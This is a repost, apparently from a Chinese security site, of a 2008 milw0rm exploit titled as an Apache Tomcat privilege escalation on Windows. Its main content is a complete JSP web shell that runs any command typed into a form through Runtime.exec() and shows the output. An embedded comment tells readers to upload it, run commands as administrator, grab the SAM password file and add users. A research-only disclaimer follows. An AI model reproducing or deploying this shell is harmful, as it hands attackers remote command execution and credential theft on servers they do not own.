Apache Tomcat runtime.getRuntime().exec() Privilege Escalation (win) 's

admin 2017年5月2日13:54:14评论345 views字数 974阅读3分14秒阅读模式
摘要

# milw0rm.com [2008-11-28]

<%@ page import="java.util.*,java.io.*"%> <% %>  <%-- abysssec inc public material  just upload this file with abysssec.jsp and execute your command your command will run as administrator . you can download sam file add user or do anything you want . note : please be gentle and don't obstructionism . vulnerability discovered by : abysssec.com   --%> <HTML><BODY bgcolor=#0000000 and text=#DO0000> <title> Abysssec inc (abysssec.com) JSP vulnerability </tile> <center><h3>JSP Privilege Escalation Vulnerability PoC</center></h3> <FORM METHOD="GET" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Execute !"> </FORM> <pre> <% if (request.getParameter("cmd") != null) {         out.println("Command: " + request.getParameter("cmd") + "<BR>");         Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));         OutputStream os = p.getOutputStream();         InputStream in = p.getInputStream();         DataInputStream dis = new DataInputStream(in);         String disr = dis.readLine();         while ( disr != null ) {                 out.println(disr);                 disr = dis.readLine();                 }         } %> </pre> </BODY></HTML>

# milw0rm.com [2008-11-28]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月2日13:54:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Tomcat runtime.getRuntime().exec() Privilege Escalation (win) 'shttps://cn-sec.com/archives/45850.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息